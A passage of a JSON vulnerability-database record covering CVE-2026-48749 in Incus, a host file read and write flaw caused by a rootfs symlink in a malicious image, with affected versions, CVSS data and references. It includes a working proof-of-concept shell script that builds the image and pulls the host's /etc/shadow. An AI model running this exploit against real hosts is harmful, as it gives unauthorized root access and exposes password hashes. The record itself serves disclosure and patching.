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Later, the stopped-container file API opens `d.RootfsPath()` and passes that file descriptor to `forkfile`, which chroots to it.\n\n```\nmetadata.yaml\nrootfs/\nrootfs -> /\n```\n\nIn practice, this allows a malicious actor to access the host's filesystem with root privileges.\n\n\n### PoC\n\nBelow, we map the container's rootfs to `/` on the host, but it can be mapped anywhere. We then retrieve the host's `/etc/shadow` file and create a file in `/`.\n\n```\n#!/bin/sh\nset -eu\n\ntmpdir=$(mktemp -d)\ncleanup() {\n    rm -rf \"${tmpdir}\"\n}\ntrap cleanup EXIT INT QUIT TERM HUP\n\nmkdir -p \"${tmpdir}/img/rootfs\"\ncat<<__EOF__>\"${tmpdir}/img/metadata.yaml\"\narchitecture: x86_64\ncreation_date: 1\nproperties:\n  description: PoC rootfs symlink host afrw\n__EOF__\n\ncd \"${tmpdir}/img\"\ntar --owner=0 --group=0 -f- -c * >../afrw-rootfs-symlink.tar\n\n# inject rootfs symlink\nrmdir rootfs\nln -s / rootfs\ntar --owner=0 --group=0 -f ../afrw-rootfs-symlink.tar --append rootfs\n\n\nincus image import ../afrw-rootfs-symlink.tar --alias afrw-rootfs-symlink\nincus init afrw-rootfs-symlink afrw-rootfs-symlink\n\n\n# read\nincus file pull afrw-rootfs-symlink/etc/shadow \"${tmpdir}/shadow\"\ncat \"${tmpdir}/shadow\"\n\n# write\nprintf 'afrw-rootfs-symlink\\n' >\"${tmpdir}/afrw-rootfs-symlink\"\nincus file push \"${tmpdir}/afrw-rootfs-symlink\" afrw-rootfs-symlink/\n```\n\n### Impact\n\nArbitrary file read and write on the host via unsanitized symlink; possibly leading to command execution.","state":0,"publishedAt":"2026-06-26T18:31:21+00:00","modifiedAt":"2026-11-06T10:57:01.0292804+00:00","affected":[{"ecosystem":"Go","name":"github.com/lxc/incus/v7/cmd/incusd","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"7.2.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"CRITICAL"}],"references":["https://github.com/canonical/lxd/security/advisories/GHSA-vghh-5rfx-xhq8","https://github.com/lxc/incus/security/advisories/GHSA-2q3f-q5pq-g8wv","https://nvd.nist.gov/vuln/detail/CVE-2026-48749","https://github.com/lxc/incus"],"sourceUrl":"https://github.com/advisories/GHSA-2q3f-q5pq-g8wv","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-2q3f-q5pq-g8wv","identifiers":["GHSA-2q3f-q5pq-g8wv","CVE-2026-48749","GO-2026-5798"]},"retained":false,"historicalAffected":[]},{"revision":"64153e33acb348cca0053d106efacd07","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-5798","aliases":["CVE-2026-48749","GHSA-2q3f-q5pq-g8wv"],"title":"Incus has an arbitrary file read+write on host via rootfs/ symlink in malicious image in github.com/lxc/incus","description":"Incus has an arbitrary file read+write on host via rootfs/ symlink in malicious image in github.com/lxc/incus","state":0,"publishedAt":"2026-07-07T16:41:46+00:00","modifiedAt":"2026-07-07T20:30:14.9638101+00:00","affected":[{"ecosystem":"Go","name":"github.com/lxc/incus","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/lxc/incus/v6","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/lxc/incus/v7","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"7.2.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/lxc/incus/security/advisories/GHSA-2q3f-q5pq-g8wv"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-5798","license":"OSV · upstream source license applies","key":"osv:GO-2026-5798","identifiers":["GO-2026-5798","CVE-2026-48749","GHSA-2q3f-q5pq-g8wv"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. 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